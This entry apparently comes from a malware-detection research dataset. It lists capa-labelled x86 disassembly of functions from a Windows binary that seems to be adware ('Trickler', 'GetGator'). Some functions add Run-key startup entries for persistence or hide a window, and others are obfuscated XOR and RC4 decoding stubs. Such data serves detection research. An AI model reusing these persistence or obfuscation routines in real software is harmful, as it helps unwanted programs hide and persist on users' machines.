joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4038dd
Capabilities:
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push ebx
push esi
push edi
push 0x14
pop ecx
xor al, al
lea edi, [ebp - 0x1c]
push 0x1c
rep stosb byte es:[edi], al
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x40391b
push 0x8d
push 0x1b
pop ebx
mov edx, 0x409a3c
call fcn.00403a50
mov esi, 0x104
push esi
lea ecx, [ebp - 0x120]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x120]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403938
sub eax, ecx
push 0x8004
lea ecx, [ebp - 0x1c]
push ecx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00402504
xor al, al
lea edi, [ebp - 0x120]
mov ecx, esi
rep stosb byte es:[edi], al
push 4
lea eax, [ebp - 0x120]
lea edi, [ebp - 0x1c]
call fcn.004025d9
push 4
pop eax
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x403995
push 0x8b
push 2
mov eax, edi
pop ebx
mov edx, 0x4099ac
call fcn.00403a50
lea eax, [ebp - 0x120]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40399e
sub eax, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00403c5b
push eax
push edi
lea eax, [ebp - 0x224]
push esi
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
push 0x20
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x4039e7
push 0x87
push 0x1c
pop ebx
mov edx, 0x409a20
call fcn.00403a50
lea ecx, [ebp - 4]
push ecx
push 0xf023f
xor esi, esi
push esi
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403a34
push 0x16469
push str.AP32
push 3
push esi
lea eax, [ebp - 0x224]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x403a34
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov dword [ebp - 8], 1
cmp dword [ebp - 4], esi
je 0x403a42
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
lea esp, [ebp - 0x230]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403a50
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
test ebx, ebx
je 0x403a6b
mov esi, edx
mov ecx, eax
sub esi, eax
mov edi, ebx
mov dl, byte [esi + ecx]
xor dl, byte [esp + 0xc]
mov byte [ecx], dl
inc ecx
dec edi
jne 0x403a5e
xor edx, edx
mov byte [ebx + eax], dl
cmp ebx, edx
jbe 0x403abb
lea esi, [edx + eax]
cmp byte [esi], 0x5c
jne 0x403ab6
lea edi, [edx + eax + 1]
mov cl, byte [edi]
cmp cl, 0x5c
je 0x403aac
cmp cl, 0x72
jne 0x403a91
mov byte [esi], 0xd
jmp 0x403aac
cmp cl, 0x6e
jne 0x403a9b
mov byte [esi], 0xa
jmp 0x403aac
cmp cl, 0x74
jne 0x403aa5
mov byte [esi], 9
jmp 0x403aac
cmp cl, 0x22
jne 0x403ab6
mov byte [esi], cl
mov ecx, ebx
sub ecx, edx
lea esi, [edx + eax + 2]
rep movsb byte es:[edi], byte [esi]
inc edx
cmp edx, ebx
jb 0x403a74
pop edi
pop esi
ret 4
Function at 0x404054
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x40522c
sub eax, eax
test esi, esi
je 0x40412c
sub eax, 1
test ecx, ecx
je 0x40412a
test esi, 3
je 0x404092
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x404077
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x404111
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40409c
mov ecx, edx
test ecx, ecx
je 0x40412a
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x404117
not eax
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x7ffe548c
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword fs:[0x30]
call 0x7ffe5497
pop edx
xor dx, dx
add edx, 0xd5e0
xor ecx, ecx
mov cl, 0x1e
xor byte [ecx + edx], 0x11
loop 0x7ffe54a5
push dword fs:[0x24]
pop dword [edx + 0xa]
mov cl, 0xff
push edx
loop 0x7ffe54b7
mov dword [edx + 0x11], 0xffffacbb
mov ecx, dword [eax + 0x2c]
mov dword [edx + 0x1b], ecx
mov dword [edx + 0x100], ecx
mov dword [eax + 0x2c], esp
push 0
push es
pop ds
clc
push 0
add al, 0
push 0
clc
push 0
push 0x30
push es
pop ds
clc
push 0x20
push eax
pop eax
push 0
nop
push 0
add edx, 0xffff7f37
clc
and al, 0xff
push edx
and al, 0xff
push edx
cld
push 0
call dword [edx + 0x820c]
push edx
cdq
pop edx
add esp, 0x3f8
add al, 0
xor eax, eax
cld
inc eax
ret 0xc

Function at 0x7ffe8354
Capabilities:
Encode data using xor

Disassembly:
push eax
pop eax
clc
push es
pop ds
pop eax
add al, 4
sub al, 4
add eax, 0x1d
push es
pop ds
add al, 4
sub al, 4
cld
mov byte [eax], 5
add al, 4
sub al, 4
push eax
pop eax
call 0x7ffe8354
stc
add eax, 5
mov ecx, eax
pushal
inc eax
popal
call 0x7ffe8319
push eax
pop eax
pop eax
push eax
pop eax
add al, 0
cld
add eax, 0x19
push bx
inc esp
inc esp
mov byte [eax], 5
and al, 0xff
xor eax, ecx
xor eax, ecx
clc
call fcn.7ffe84d6
xor eax, ecx
xor eax, ecx
push es
pop ds
add eax, 5
nop
xchg ecx, eax
sub ecx, eax
and bh, 0xff
xor byte [eax + ecx], 0x72
and al, 0xff
loop 0x7ffe8347
inc esi
dec esi
inc esi
dec esi
cld
pop ecx
lcall 0xf12a, 0x72727272
mov dl, 0x75
mov ah, 0x72
ja 0x7ffe82fc
invalid
Function at 0x4042a0
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x42c
push ebx
push ebp
push esi
push edi
mov ebp, ecx
call fcn.00404420
test eax, eax
je 0x404410
call fcn.0040aa30
test eax, eax
je 0x4042cb
call fcn.0040aa30
mov edi, eax
jmp 0x4042d0
mov edi, 0x42fa7c
mov esi, dword [str.Trickler]
test esi, esi
jne 0x4042df
mov esi, 0x42fa7c
call fcn.0040aa60
push eax
push edi
push esi
lea eax, [esp + 0x48]
push str._s_t:_s_s:_08lx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea ecx, [esp + 0x10]
push 0
push ecx
push 0
push 0x30
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov ebx, dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x40432e
push 1
call ebx
push eax
push 0
call ebx
push eax
push 0
lea edx, [esp + 0x1c]
push 0
push edx
call dword [sym.imp.USER32.dll_SetRect]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
sub eax, ecx
push 0x21
sub eax, 0xfa
cdq
sub eax, edx
mov esi, eax
sar esi, 1
call ebx
push 4
mov edi, eax
call ebx
add edi, eax
mov eax, dword [ebp]
push ebp
mov edx, dword [str.Trickler_WndClass]
push eax
push 0
push 0
push edi
push 0xfa
push 0
push esi
lea ecx, [esp + 0x5c]
push 0xc80000
push ecx
push edx
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push eax
mov dword [0x42fb44], eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x404410
mov eax, dword [esp + 0x440]
test eax, eax
je 0x4043ce
mov eax, dword [0x42fb44]
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [0x42fb44]
push 3
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ecx
call dword [sym.imp.USER32.dll_SetWindowPos]
mov edx, dword [0x42fb44]
push edx
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
lea eax, [esp + 0x28]
push 0
push eax
call esi
test eax, eax
je 0x404410
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
lea ecx, [esp + 0x20]
push ecx
call edi
lea edx, [esp + 0x20]
push edx
call ebx
push 0
push 0
lea eax, [esp + 0x28]
push 0
push eax
call esi
test eax, eax
jne 0x4043f1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x42c
ret 4
Function at 0x404df0
Capabilities:
Persist via run registry key

Disassembly:
mov al, byte [0x42fb58]
sub esp, 0x108
test al, al
push ebp
mov ebp, ecx
je 0x404e49
push 0
push 0x42fb58
call fcn.0040ca30
add esp, 8
test eax, eax
je 0x404e33
push 0x42fb58
push str.DeletedSpud___s_
call fcn.00407160
add esp, 8
mov byte [0x42fb58], 0
jmp 0x405018
push 0
push 0x337
mov ecx, ebp
call fcn.004066e0
pop ebp
add esp, 0x108
ret
push 0x200
push 0x42fc5c
call fcn.00406a50
add esp, 8
test eax, eax
jne 0x404e78
push 0x42fc5c
push 0x32c
mov ecx, ebp
call fcn.004066e0
pop ebp
add esp, 0x108
ret
push 0x200
push 0x42fe5c
call fcn.00406b40
add esp, 8
test eax, eax
jne 0x404ea3
push eax
push 0x32e
mov ecx, ebp
call fcn.004066e0
pop ebp
add esp, 0x108
ret
push 1
mov ecx, ebp
call fcn.00406fb0
test eax, eax
je 0x405036
call fcn.0040a4f0
test eax, eax
push 0
je 0x404ed3
push 0x339
mov ecx, ebp
call fcn.004066e0
pop ebp
add esp, 0x108
ret
push str.Deleting
push str.softwareQwertyuioTrickler
push reloc.WSOCK32.dll_bind
call fcn.0040a070
add esp, 0x10
test eax, eax
je 0x404f1b
push str.App_was_already_in_Deleting_mode
mov dword [ebp + 0x14c], 1
call fcn.00407160
add esp, 4
mov ecx, ebp
push 0
push 0x32b
call fcn.004066e0
pop ebp
add esp, 0x108
ret
push edi
call fcn.0040a4a0
push eax
call fcn.0040a700
push 0
push 1
call fcn.0040a5c0
push 0
push str.GetGator
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WSOCK32.dll_bind
call fcn.0040a110
mov edi, eax
add esp, 0x1c
test edi, edi
je 0x40500e
mov al, byte [edi]
push esi
cmp al, 0x22
mov esi, edi
jne 0x404f76
lea esi, [edi + 1]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov cl, byte [eax + esi - 1]
lea eax, [eax + esi - 1]
cmp cl, 0x22
jne 0x404f76
mov byte [eax], 0
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x42fb58
call esi
lea eax, [esp + 0x10]
push 0x42fb58
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [esp + 0x10]
push 0x429c84
push ecx
call esi
lea edx, [esp + 0x10]
push str._remove
push edx
call esi
push 0x42fb58
push str.CSpudDelete___s_
call fcn.00407160
lea eax, [esp + 0x14]
push 0
lea ecx, [esp + 0x1c]
push eax
push ecx
mov dword [esp + 0x20], 0
call fcn.0040d5e0
add esp, 0x14
test eax, eax
pop esi
je 0x404ff0
push 1
push 0x1e
mov ecx, ebp
call fcn.004064e0
mov eax, 0x429578
jmp 0x404ff5
mov eax, str.Failed
mov edx, dword [esp + 8]
push edx
push eax
push str.CSpudDeleteExecRslt:__s__err_d_
call fcn.00407160
push edi
call fcn.0041b272
add esp, 0x10
mov al, byte [0x42fb58]
pop edi
test al, al
jne 0x405036
push 0x42fe5c
push 0x42fc5c
call fcn.00403cb0
add esp, 8
call fcn.00403cd0
mov ecx, ebp
call fcn.00406770
pop ebp
add esp, 0x108
ret
Function at 0x4092b0
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x108
push esi
mov esi, ecx
lea eax, [esp + 0x110]
push edi
push eax
mov dword [esp + 0xc], esi
mov dword [esi + 0x5cc], 0
call fcn.0040a790
mov ecx, dword [esp + 0x118]
push ecx
push str.TI_map_AIC___s_
call fcn.00407160
push 0x8000
call fcn.0041b345
mov edi, eax
add esp, 0x10
test edi, edi
mov dword [esp + 0xc], edi
je 0x409497
push ebx
push ebp
lea ebp, [esi + 0x54]
push ebp
push 0x8000
push edi
push 0x430d7c
push 0
push 0x42aeb4
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
mov al, byte [edi]
mov ebx, edi
test al, al
je 0x409457
mov eax, dword [esi + 0x5cc]
test eax, eax
jne 0x409457
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov esi, eax
cmp byte [esi + ebx - 1], 0x2a
jne 0x409361
mov eax, dword [esp + 0x11c]
lea edx, [esi - 1]
push edx
push ebx
push eax
call fcn.00423630
add esp, 0xc
jmp 0x409372
mov ecx, dword [esp + 0x11c]
push ebx
push ecx
call fcn.0041bfb0
add esp, 8
test eax, eax
je 0x40937f
lea ebx, [esi + ebx + 1]
jmp 0x409449
test ebx, ebx
mov eax, ebx
jne 0x40938a
mov eax, 0x42fa7c
push eax
push str.TI_map_to___s_
call fcn.00407160
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push ebx
push 0x42aeb4
push ebp
stosb byte es:[edi], al
call fcn.0040a170
mov esi, eax
add esp, 0x18
test esi, esi
je 0x4093e0
push esi
push str.brand_
lea edx, [esp + 0x20]
push 0x42ae94
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
push esi
call fcn.0041b272
add esp, 0x14
mov eax, dword [esp + 0x10]
push 0
push str._defaults
push ebp
lea esi, [eax + 0x158]
mov ecx, esi
call fcn.004015d0
push 0
lea ecx, [esp + 0x1c]
push str.Inherit
push ecx
push ebp
call fcn.0040a170
mov edi, eax
add esp, 0x10
test edi, edi
je 0x409428
push 1
push edi
push ebp
mov ecx, esi
call fcn.004015d0
push edi
call fcn.0041b272
add esp, 4
lea edx, [esp + 0x18]
push 2
push edx
push ebp
mov ecx, esi
call fcn.004015d0
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x14]
mov dword [eax + 0x5cc], 1
mov al, byte [ebx]
mov esi, dword [esp + 0x10]
test al, al
jne 0x40932c
mov eax, dword [esi + 0x5cc]
pop ebp
test eax, eax
pop ebx
jne 0x40948c
mov eax, dword [esp + 0x118]
test eax, eax
je 0x40948c
mov ecx, dword [esp + 0x114]
mov edx, dword [esp + 0x11c]
push ecx
push str.AIC__s_
push edx
push eax
call fcn.0041b353
add esp, 0x10
push edi
call fcn.0041b272
add esp, 4
jmp 0x4094c0
mov eax, dword [esp + 0x118]
test eax, eax
je 0x4094c0
mov ecx, dword [esp + 0x114]
mov edx, dword [esp + 0x11c]
push ecx
push str.AIC__s___buf_alloc_err
push edx
push eax
call fcn.0041b353
add esp, 0x10
mov eax, dword [esi + 0x5cc]
test eax, eax
jne 0x4094d7
push str.TI_nomap
call fcn.00407160
add esp, 4
mov eax, dword [esi + 0x5cc]
pop edi
pop esi
add esp, 0x108
ret 0xc
Function at 0x40a5c0
Capabilities:
Persist via run registry key

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
xor ebp, ebp
push esi
push edi
test ebx, ebx
jne 0x40a5d5
call fcn.0040a4a0
mov ebx, eax
mov esi, dword [esp + 0x14]
push ebx
push esi
push str.StartWithWindows:__d__s
call fcn.00407160
add esp, 0xc
test esi, esi
push 0
je 0x40a660
push str.DontStartWithWindows
call fcn.00409ff0
add esp, 8
test eax, eax
jne 0x40a64c
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add eax, 0x32
push eax
call fcn.0041b345
mov esi, eax
add esp, 4
test esi, esi
je 0x40a659
push ebx
push 0x42b2c8
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
push esi
push str.Trickler
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WSOCK32.dll_bind
call fcn.0040b170
push esi
mov edi, eax
call fcn.0041b272
add esp, 0x20
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
push str._t__Inhibited_by_test_setting
call fcn.00407160
add esp, 4
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
ret
push str.Trickler
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WSOCK32.dll_bind
call fcn.0040a110
mov edi, eax
add esp, 0x10
test edi, edi
je 0x40a6f5
mov al, byte [edi]
mov esi, edi
cmp al, 0x22
jne 0x40a688
lea esi, [edi + 1]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 1
jle 0x40a6a0
cmp byte [eax + esi - 1], 0x22
jne 0x40a6a0
mov byte [eax + esi - 1], 0
push esi
push ebx
call fcn.0041bfb0
add esp, 8
test eax, eax
jne 0x40a6d7
push str.Trickler
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WSOCK32.dll_bind
call fcn.0040b2f0
add esp, 0xc
mov ebp, eax
push edi
call fcn.0041b272
add esp, 4
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
ret
push edi
push str.StartWithWindows:_NOT_removing_app_startup:_Different_paths_____s_
call fcn.00407160
add esp, 8
push edi
call fcn.0041b272
add esp, 4
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x40a7e0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x610
push esi
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
mov esi, dword [esp + 0x620]
push 0x200
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov edx, dword [esp + 0x61c]
lea ecx, [esp + 8]
push ecx
push esi
push edx
lea eax, [esp + 0x214]
push str._s_t_lu_t_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x21c]
push ecx
push str.OldTrickler
push str.softwareQwertyuioTrickler
push reloc.WSOCK32.dll_bind
call fcn.0040b170
add esp, 0x24
pop edi
pop esi
add esp, 0x610
ret
Function at 0x40adb0
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [esp + 0x24]
xor ebx, ebx
push edi
cmp esi, ebx
mov dword [esp + 0x10], ebx
je 0x40adc7
mov dword [esi], ebx
mov ecx, dword [esp + 0x1c]
cmp ecx, ebx
je 0x40af53
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x40af53
cmp byte [eax], 0
je 0x40af53
cmp esi, ebx
je 0x40af53
lea edx, [esp + 0x14]
push edx
push 0x20019
push ebx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40af53
mov edi, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x20]
push eax
push ebx
push ecx
push ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
push edx
call ebx
test eax, eax
jne 0x40af3e
mov eax, dword [esp + 0x1c]
push eax
call fcn.0041b345
mov ebp, eax
add esp, 4
test ebp, ebp
je 0x40af3e
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x24]
push ebp
push edx
push 0
push edi
push eax
call ebx
test eax, eax
jne 0x40af35
mov eax, dword [esp + 0x20]
cmp eax, 1
jne 0x40aec0
mov ecx, dword [esp + 0x1c]
inc ecx
push ecx
call fcn.0041b345
mov edi, eax
add esp, 4
test edi, edi
mov dword [esi], edi
je 0x40af35
mov edx, dword [esp + 0x1c]
xor eax, eax
lea ecx, [edx + 1]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x1c]
mov ecx, dword [esi]
push eax
push ebp
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
mov dword [esp + 0x10], 1
jmp 0x40af35
cmp eax, 2
jne 0x40af35
mov ebx, dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
push eax
mov eax, dword [esi]
lea edx, [esp + 0x2c]
push edx
push eax
mov byte [esp + 0x34], 0
mov byte [esp + 0x35], 0
call ebx
cmp eax, 2
mov dword [esp + 0x1c], eax
jbe 0x40af35
inc eax
push eax
call fcn.0041b345
mov edi, eax
add esp, 4
test edi, edi
mov dword [esi], edi
je 0x40af35
mov ecx, dword [esp + 0x1c]
xor eax, eax
inc ecx
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x1c]
mov ecx, dword [esi]
push eax
push ecx
push ebp
call ebx
cmp eax, dword [esp + 0x1c]
ja 0x40af2d
test eax, eax
mov dword [esp + 0x10], 1
ja 0x40af35
mov dword [esp + 0x10], 0
push ebp
call fcn.0041b272
add esp, 4
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x40afa0
mov ebx, eax
mov ebp, dword [esp + 0x2c]
test ebp, ebp
je 0x40af96
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call fcn.0041b345
mov edx, eax
add esp, 4
test edx, edx
mov dword [esi], edx
je 0x40af96
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 8
ret
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x40afb0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
push esi
push edi
mov edi, dword [esp + 0x18]
xor esi, esi
cmp ecx, esi
mov dword [edi], eax
je 0x40b02d
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x40b02d
cmp byte [eax], 0
je 0x40b02d
lea edx, [esp + 0x1c]
push edx
push 0x20019
push esi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b02d
mov edx, dword [esp + 0x14]
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x1c]
push edi
push ecx
push esi
push edx
push eax
mov dword [esp + 0x24], 4
mov dword [esp + 0x30], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40b022
cmp dword [esp + 0x18], 4
jne 0x40b022
mov esi, 1
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
ret

Function at 0x40b040
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
xor esi, esi
xor ebp, ebp
cmp ebx, esi
mov dword [esp + 0xc], ebp
je 0x40b056
mov dword [ebx], esi
mov ecx, dword [esp + 0x14]
cmp ecx, esi
je 0x40b161
mov eax, dword [esp + 0x18]
cmp eax, esi
je 0x40b161
cmp byte [eax], 0
je 0x40b161
lea edx, [esp + 0x18]
push edx
push 0x20019
push esi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b161
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x20]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
lea ecx, [esp + 0x1c]
push esi
push ecx
mov dword [esp + 0x30], esi
mov dword [esp + 0x24], esi
push esi
mov esi, dword [esp + 0x30]
push esi
push edx
call edi
test eax, eax
jne 0x40b14e
mov eax, dword [esp + 0x24]
push eax
call fcn.0041b345
mov ebp, eax
add esp, 4
test ebp, ebp
je 0x40b14a
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x1c]
push ebp
push edx
push 0
push esi
push eax
call edi
test eax, eax
jne 0x40b141
cmp dword [esp + 0x18], 3
jne 0x40b141
mov ecx, dword [esp + 0x24]
push ecx
call fcn.0041b345
add esp, 4
mov dword [ebx], eax
test eax, eax
je 0x40b141
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
xor eax, eax
mov esi, ebp
mov dword [edx], ecx
mov edi, dword [ebx]
mov edx, ecx
mov dword [esp + 0x10], 1
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x24]
mov edi, dword [ebx]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebp
call fcn.0041b272
add esp, 4
mov ebp, dword [esp + 0x10]
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
pop ecx
ret
mov eax, ebp
pop esi
pop ebp
pop ebx
pop ecx
ret